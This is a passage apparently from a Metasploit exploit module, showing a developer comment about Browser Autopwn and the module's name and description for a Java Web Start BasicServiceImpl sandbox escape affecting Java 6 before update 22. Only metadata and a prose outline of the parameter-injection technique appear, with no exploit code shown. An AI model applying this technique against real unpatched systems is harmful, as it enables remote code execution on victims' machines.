 # is in an iframe.  The exploit itself also creates a couple of scary popup
 # windows about "downloading application" that I haven't been able to
 # figure out how to prevent.  For both of these reasons, don't include it
 # in Browser Autopwn.

   'Name'          => 'Sun Java Web Start BasicServiceImpl Remote Code Execution Exploit',
   'Description'   => %q{
   This module exploits a vulnerability in Java Runtime Environment
   that allows an attacker to escape the Java Sandbox. By injecting
   a parameter into a javaws call within the BasicServiceImpl class
   the default java sandbox policy file can be therefore overwritten.
   The vulnerability affects version 6 prior to update 22.

   NOTE: Exploiting this vulnerability causes several sinister-looking
   popup windows saying that Java is "Downloading application."
